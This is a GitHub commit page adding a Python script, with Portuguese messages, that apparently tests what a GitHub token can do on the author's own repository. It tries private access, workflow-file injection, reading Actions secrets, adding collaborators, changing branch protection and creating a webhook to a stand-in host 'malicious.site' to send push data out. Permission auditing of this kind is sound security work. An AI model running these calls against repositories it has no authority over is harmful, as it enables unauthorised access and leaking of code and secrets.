-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
170 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,170 @@ | ||
### github.com/bulletdev | ||
|
||
|
||
import requests | ||
import base64 | ||
import json | ||
|
||
GITHUB_TOKEN = "ZZZZZZZZ" # INSERT GITHUB TOKEN | ||
BASE_URL = "https://api.github.com" | ||
headers = {"Authorization": f"token {GITHUB_TOKEN}"} | ||
|
||
def test_private_repo_access(repo_name): | ||
print(f"\n[+] Verificando acesso ao repositório privado {repo_name}") | ||
url = f"{BASE_URL}/repos/{repo_name}" | ||
response = requests.get(url, headers=headers) | ||
if response.status_code == 200: | ||
print("Acesso indevido permitido ao repositório privado!") | ||
else: | ||
print("Acesso negado: permissão correta.") | ||
|
||
def test_repo_modification(repo_name, new_description): | ||
print(f"\n[+] Testando modificação do repositório {repo_name}") | ||
url = f"{BASE_URL}/repos/{repo_name}" | ||
data = {"description": new_description} | ||
response = requests.patch(url, headers=headers, json=data) | ||
if response.status_code == 200: | ||
print("Modificação indevida permitida!") | ||
else: | ||
print("Permissão correta: modificação bloqueada.") | ||
|
||
def test_github_actions_injection(repo_name, payload_content): | ||
print(f"\n[+] Testando injeção de código em workflow no repositório {repo_name}") | ||
workflow_url = f"{BASE_URL}/repos/{repo_name}/contents/.github/workflows/test_workflow.yml" | ||
payload_encoded = base64.b64encode(payload_content.encode("utf-8")).decode("utf-8") | ||
data = { | ||
"message": "Tentativa de injeção de workflow", | ||
"content": payload_encoded, | ||
"branch": "main" | ||
} | ||
put_response = requests.put(workflow_url, headers=headers, json=data) | ||
if put_response.status_code == 201: | ||
print("Injeção permitida no workflow!") | ||
else: | ||
print("Injeção de código bloqueada corretamente.") | ||
|
||
def test_exposed_secrets(repo_name): | ||
print(f"\n[+] Verificando exposição de secrets no repositório {repo_name}") | ||
url = f"{BASE_URL}/repos/{repo_name}/actions/secrets" | ||
response = requests.get(url, headers=headers) | ||
if response.status_code == 200: | ||
print("Acesso não autorizado a secrets detectado!") | ||
else: | ||
print("Acesso negado a secrets, permissão correta.") | ||
|
||
def test_token_scope_access(repo_name): | ||
print(f"\n[+] Verificando uso indevido de token com permissões limitadas") | ||
url = f"{BASE_URL}/repos/{repo_name}/issues" | ||
data = { | ||
"title": "Teste de criação de issue indevida", | ||
"body": "Esta issue foi criada para teste de permissão." | ||
} | ||
response = requests.post(url, headers=headers, json=data) | ||
if response.status_code == 201: | ||
print("Permissão indevida: issue criada com sucesso!") | ||
else: | ||
print("Permissão correta: criação de issue bloqueada.") | ||
|
||
def test_collaborator_manipulation(repo_name, collaborator_username): | ||
print(f"\n[+] Tentando adicionar colaborador sem permissão no repositório {repo_name}") | ||
url = f"{BASE_URL}/repos/{repo_name}/collaborators/{collaborator_username}" | ||
response = requests.put(url, headers=headers) | ||
if response.status_code == 201: | ||
print("Permissão indevida: colaborador adicionado!") | ||
else: | ||
print("Permissão correta: manipulação de colaboradores bloqueada.") | ||
|
||
|
||
def test_branch_protection(repo_name, branch="main"): | ||
print(f"\n[+] Testando proteção de branch no repositório {repo_name}") | ||
url = f"{BASE_URL}/repos/{repo_name}/branches/{branch}/protection" | ||
data = { | ||
"required_status_checks": { | ||
"strict": True, | ||
"contexts": ["CI/Test"] | ||
} | ||
} | ||
response = requests.put(url, headers=headers, json=data) | ||
if response.status_code == 200: | ||
print("Alteração de proteção de branch permitida!") | ||
else: | ||
print("Permissão correta: alteração de proteção de branch bloqueada.") | ||
|
||
def test_ci_logs_for_secrets(repo_name, workflow_id): | ||
print(f"\n[+] Verificando logs do workflow {workflow_id} para dados sensíveis") | ||
url = f"{BASE_URL}/repos/{repo_name}/actions/runs/{workflow_id}/logs" | ||
response = requests.get(url, headers=headers) | ||
if response.status_code == 200 and "secret" in response.text.lower(): | ||
print("Possível vazamento de dados sensíveis nos logs!") | ||
else: | ||
print("Sem vazamento de dados nos logs.") | ||
|
||
def test_graphql_access(): | ||
print("\n[+] Testando requisições GraphQL para dados avançados") | ||
url = "https://api.github.com/graphql" | ||
query = """ | ||
{ | ||
viewer { | ||
login | ||
repositories(last: 5) { | ||
nodes { | ||
name | ||
isPrivate | ||
} | ||
} | ||
} | ||
} | ||
""" | ||
response = requests.post(url, headers=headers, json={"query": query}) | ||
if response.status_code == 200: | ||
print("Acesso a GraphQL permitido! Dados recebidos:") | ||
print(response.json()) | ||
else: | ||
print("Permissão correta: acesso GraphQL restrito.") | ||
|
||
def test_webhook_injection(repo_name): | ||
print(f"\n[+] Tentando injeção de webhook no repositório {repo_name}") | ||
url = f"{BASE_URL}/repos/{repo_name}/hooks" | ||
data = { | ||
"name": "web", | ||
"active": True, | ||
"events": ["push"], | ||
"config": { | ||
"url": "https://malicious.site/webhook", | ||
"content_type": "json" | ||
} | ||
} | ||
response = requests.post(url, headers=headers, json=data) | ||
if response.status_code == 201: | ||
print("Injeção de webhook permitida!") | ||
else: | ||
print("Permissão correta: injeção de webhook bloqueada.") | ||
|
||
repo_name = "Bulletdev/Bulletsecurity" | ||
collaborator_username = "usuario_collaborator" | ||
workflow_id = "25d026c" | ||
|
||
payload_content = """ | ||
name: Teste de segurança no Workflow | ||
on: [push] | ||
jobs: | ||
job1: | ||
runs-on: ubuntu-latest | ||
steps: | ||
- name: Injeção de teste | ||
run: echo "Injeção no workflow bem-sucedida" | ||
""" | ||
|
||
test_private_repo_access(repo_name) | ||
test_repo_modification(repo_name, "Descrição de teste para alteração indevida") | ||
test_github_actions_injection(repo_name, payload_content) | ||
test_exposed_secrets(repo_name) | ||
test_token_scope_access(repo_name) | ||
test_collaborator_manipulation(repo_name, collaborator_username) | ||
|
||
test_branch_protection(repo_name) | ||
test_ci_logs_for_secrets(repo_name, workflow_id) | ||
test_graphql_access() | ||
test_webhook_injection(repo_name) |